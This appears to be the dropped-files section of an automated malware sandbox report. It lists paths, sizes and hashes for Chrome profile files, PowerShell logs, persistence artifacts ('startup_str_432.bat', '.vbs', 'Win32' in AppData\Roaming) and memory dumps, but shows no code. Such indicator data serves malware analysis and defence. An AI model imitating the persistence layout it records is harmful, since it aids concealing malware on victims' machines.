SHA512 9a2d9a27c33832adf4d4fcebab54607bb287b8ea7095759f1425142c0f84fb4fd701f98de712d1f9903a98cc111f492e03aa9e4d8a21b2d3621c6fea6e058d8d
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 183B
SHA256 075b7929fc65254fa44759f7a02599bf4ea5263f347b41739a182689ed45c373
MD5 c3cbd88ecc45aef3567ee5866e0c9c77
SHA1 0100d3b6017e80fe6c4aab0ac39593878c85d422
SHA512 449402deee0c55391eec2a961e4ad9b130430f9999eb3eb6469d33e514efeae9599d26179b00f025af057ca3daeec3f2f71f340ecf646c5cf5e0039a07ab0587
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 183B
SHA256 7dc2e3a47828ad916fc69ba7aac5a1f002f8cc78f3157f6a9cb156d057283ede
MD5 7779cc15119499b7a9ec4583a3a664ba
SHA1 f5e2c1b4b0f1aa6cf51ac998f8856a50e9da07ed
SHA512 a14974a9cb8c0dd4432e4dac636f095ae0b06260500ef14ea03699e90c795ec9050f091d035e813fc1763510a29daac7ade3432be536b787f27cdc0060ada495
MD5 SHA1 SHA512

Submit Download

index.txt.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt.tmp
Size 56B
SHA256 1b11047e738f76c94c9d15ee981ec46b286a54def1a7852ca1ade7f908988649
MD5 ae1bccd6831ebfe5ad03b482ee266e4f
SHA1 01f4179f48f1af383b275d7ee338dd160b6f558a
SHA512 baf7ff6747f30e542c254f46a9678b9dbf42312933962c391b79eca6fcb615e4ba9283c00f554d6021e594f18c087899bc9b5362c41c0d6f862bba7fb9f83038
MD5 SHA1 SHA512

Submit Download

index.txt~RFe5838be.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe5838be.TMP
Size 120B
SHA256 45f7546b26f8cf98cd7a9ec6665a90b7bb1616aafa93c88022b18495ede6bdab
MD5 582a61ec07c79ff50d2097b7af106a58
SHA1 74b2d9f4cf9355ac9aca500ee66c5d7174d5fa81
SHA512 1f504b179bb77ab38f15e76e037e8e1a15e81836b92642e1749246b035483a6f2c9788cc968cce55a3ce61a17993d6d95aebf2835e58beec1bf80875c3a52710
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 07d0c0efde2d583b106b3a2751113c70866948869bc5ab8cd0436d986612482b
MD5 51c892aa6503c0f0e4e389c344bdd4c5
SHA1 395b338b7ef685f25bcea31ff93f9c2f76d272ef
SHA512 1144a3d6ff1ddf976b3099a5da63828497592f4fe00b91f0cbb8ca19e64e4a4a65c0d4301a1e3f8ea26b5238470608ebb0a5f11ff1849197923c74d1d7922cd3
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe589064.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589064.TMP
Size 48B
SHA256 cf47b63cee938f42599e8924d8cfde3c66dc7869dbe94e6be4bbe929e505e8a0
MD5 1da290b0bf09bd08d6f9792a6e6b9af5
SHA1 f81099c3e386f6584a5c562520596d523377a568
SHA512 f216e6625d6c0da85b9b04eb17bd330e65f9842924d0e6efc7e925b3b5a742a5c976df62a8c480e37f2944fcec4f8aedb770e92410c419e5adfc7182b4bdc85f
MD5 SHA1 SHA512

Submit Download

16.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp\scoped_dir1296_1113436479\Icons Monochrome\16.png
Size 216B
SHA256 c659d57841bb33d63f7b1334200548f207340d95e8e2ae25aac7a798a08071a3
MD5 a4fd4f5953721f7f3a5b4bfd58922efe
SHA1 f3abed41d764efbd26bacf84c42bd8098a14c5cb
SHA512 7fcc1ca4d6d97335e76faa65b7cfb381fb722210041bdcd3b31b0f94e15dc226eec4639547af86ae71f311f52a956dc83294c2d23f345e63b5e45e25956b2691
MD5 SHA1 SHA512

Submit Download

512.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp\scoped_dir1296_1269123057\Shortcuts Menu Icons\Monochrome\0\512.png
Size 2KB
SHA256 e1d7407b07c40b5436d78db1077a16fbf75d49e32f3cbd01187b5eaaa10f1e37
MD5 12a429f9782bcff446dc1089b68d44ee
SHA1 e41e5a1a4f2950a7f2da8be77ca26a66da7093b9
SHA512 1da99c5278a589972a1d711d694890f4fd4ec4e56f83781ab9dee91ba99530a7f90d969588fa24dce24b094a28bdecbea80328cee862031a8b289f3e4f38ce7a
MD5 SHA1 SHA512

Submit Download

512.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp\scoped_dir1296_1269123057\Shortcuts Menu Icons\Monochrome\1\512.png
Size 10KB
SHA256 1d5c9f67fe93f9fcc1a1b61ebc35bda8f98f1261e5005ae37af71f42aab1d90f
MD5 7f57c509f12aaae2c269646db7fde6e8
SHA1 969d8c0e3d9140f843f36ccf2974b112ad7afc07
SHA512 3503a0f4939bed9e1fd5e086b17d6de1063220dffdab2d2373aa9582a2454a9d8f18c1be74442f4e597bdba796d2d69220bd9e6be632a15367225b804187ea18
SSDEEP 192:CLLLRuqiztNFVh7D6ov5Zos7amFoMkFVwJOYSAxxqm3wk6E:CvLcbBNFvRh17amFvSwJCAxQmAkn
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 263KB
SHA256 04b058309b0fe98ccf929f1387e04734b197904b7c805820af4ba498140a694d
MD5 ab05cca6eea86122bbc69a4985804c59
SHA1 c61fe9bdbbd9bd54790a3342422fa8cede56f97c
SHA512 8f590845a4edbd061fff6f6084bb09b08d9d045159cc54206871fe3f6ed82353450f6f5a11f4aecff55aeb7f36d611a4c008767fc8bfcbc0b6be473e93890972
SSDEEP 6144:vCeZP4dzLhNXPw4204ikNhaVrI1Qo5yzkpeXjnJFzXsWj:vCAIzrXPxBVEjCkpeXtFb3
MD5 SHA1 SHA512 SSDEEP

Submit Download

Module Info Cache

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Size 90KB
SHA256 3224b3d045d77ba52a00817929f083d953891adccfab0231569bb7f64bf8d048
MD5 82c60d2f3dc0cd560aa2f0097d1b485c
SHA1 60ca1c4f82d76c6b941bcf788d232eb7f66f54ea
SHA512 6a38c68c6f1740474fbf0e8c5cd8eca48761d616174a8769d0d8da875665515edaced31b499f3c674fdc862c3d64e2555ddbc0bef5df1d8a2caebc7293fd0b34
SSDEEP 384:GsDsxEQ/4KoC8L9NrJmHGUTp0ExjsEWJNzSZu+US7Vxb1cru6akfDg2S4zxBXSIk:UiQZtAR9gwuhSQD+KnO58
MD5 SHA1 SHA512 SSDEEP

Submit Download

Module Info Cache

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Size 91KB
SHA256 11d87e1b16fbd4a86e2c2206773dcbcd70bb20cb068dc8f7c4307088bddc07dd
MD5 d4220aa67487fa5883bebed35d772882
SHA1 eee56885a9de5cbabae8f04f712394a3feba3421
SHA512 1e37aec8153e9b0e3c3b3fcd62950491a05c642e489c9cc42772225c2d1bf70c7e5947ab56d63eafc5970fbaa0ae0e379c0b097d018b4231d7f2d936c99fa90e
SSDEEP 384:HsDsxEQ/4KoC8L9NrJDEHGUTp0ExjsEWJNzSZu+US7Vxb1cru6akfDg2S4zxBXSa:9iQftAR9gwuhSQD+KnO5h
MD5 SHA1 SHA512 SSDEEP

Submit Download

Module Info Cache~RFe5908ff.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe5908ff.TMP
Size 89KB
SHA256 2f4e4b4cb1c45a901aa97a847f734b613beed4ee92a658007f5afe813a441667
MD5 7402726af59c748c0a6fd5fb2d5d46cd
SHA1 3add1180cdb684b931074dbf9317e0452bf28267
SHA512 3ee5e00662ffadcdd74b491002473b53eb83ddbb001b7c3bb78b5fee021a6d17e0105fdf9148d5a7e32f3646e2153fddb2ecf8a922bb2432b503c5e9fc88fda8
SSDEEP 384:OsDsxEQ/4KoC8L9NrJmHGUTp0ExjsEWJNzSZu+US7Vxb1cru6akfDg2S4zxBXSIK:ciQZtAR9geuhSQD+KnO5I
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0d5f1ae97485509a131a9309ec9c44c6bd5c10e2966e2c948ea1778066ae6451
MD5 1fd006c84f5fc8c50b6e84d0b2180b2d
SHA1 fb01ebbb81a64e2bf064b46f3a4f126031a7118f
SHA512 cc2ad87258c5a9f0182c6b6ddc0308b0fc99b9a8836a484f05d27340950a6f75b2c412727e51c187716aa7c2ac216dd9d05df7fb3512eeba2a4d68f0acb9b4a0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
MD5 59d97011e091004eaffb9816aa0b9abd
SHA1 1602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA512 d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a
MD5 a2c8179aaa149c0b9791b73ce44c04d1
SHA1 703361b0d43ec7f669304e7c0ffbbfdeb1e484ff
SHA512 2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61
MD5 9c740b7699e2363ac4ecdf496520ca35
SHA1 aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9
SHA512 8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e77daf5c774ba87a166ccd95c40a7211f605316321e1d421b82fb0fc8ed75eb0
MD5 4d2c8d8bf93f9450f044c6ef5dff215a
SHA1 4d6ecc646ee6c124aaf7535c1387445e02734750
SHA512 c75903513f87ba5fb4da3e19b079be8ba1f451e1f503ed9fdcf3dee82ce9605b87af560a120156a09b3842cdf0c42fb20f7c8cd242e3021d644e959c8536c0aa
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_u1xbn1pc.odq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u1xbn1pc.odq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Win32

Path C:\Users\Admin\AppData\Roaming\Win32
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_432.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_432.bat
Size 294KB
SHA256 ebd66fd9265f312babcebc214c9e23433e0c0e88504c5859f034bdacffd54ddb
MD5 2b235c5e792b8c3dcbc4ccd0ccff02de
SHA1 6dd8fac6545df5f64bda4e746f3921d9a072bb59
SHA512 cf61c50763cf8656bfb23250553052c1191179d30b50884f1cf8dcae64be48eae8dc43b9ccdb453e38e71bd4f5cfe94f8d44e86ba80552232eacdf23bac99e2f
SSDEEP 6144:6pA2upleIJqLKXd33GCpiMcOa+7seZEN3CbryZPhvAF8:6pAdpwoqa93GO2Oa+tON3CbGvf
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_432.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_432.vbs
Size 115B
SHA256 b3536f6171a607fd058741f98bb1df450c8e5983ca4e11310a93b14a318248c2
MD5 463997382056d09cc4fd816012692ddd
SHA1 f94e729689efa32ac39b76faa407153abcce6f6e
SHA512 e75a019ba594f1c991e53c529264c29de69225e8e1ebf0e3b1a94b5e66c69ca3b7c6c9ba06cba8f37e40691236dc902a574b4303f746163cbedcf4b739ce9c30
MD5 SHA1 SHA512

Submit Download

memory/912-920-0x00000179F1510000-0x00000179F1554000-memory.dmp

Download

memory/912-922-0x00000179F3BC0000-0x00000179F3C36000-memory.dmp

Download

memory/2224-27-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/2224-25-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/2224-26-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/2224-31-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/3056-79-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/3056-0-0x00007FF841FA3000-0x00007FF841FA5000-memory.dmp

Download

memory/3056-14-0x0000026DAB390000-0x0000026DAB3CA000-memory.dmp

Download

memory/3056-13-0x0000026DA8FD0000-0x0000026DA8FD8000-memory.dmp

Download

memory/3056-12-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/3056-11-0x00007FF841FA0000-0x00007FF842A61000-memory.dmp

Download

memory/3056-6-0x0000026DA8FA0000-0x0000026DA8FC2000-memory.dmp

Download

memory/5520-84-0x000001E1765B0000-0x000001E1765C8000-memory.dmp

Download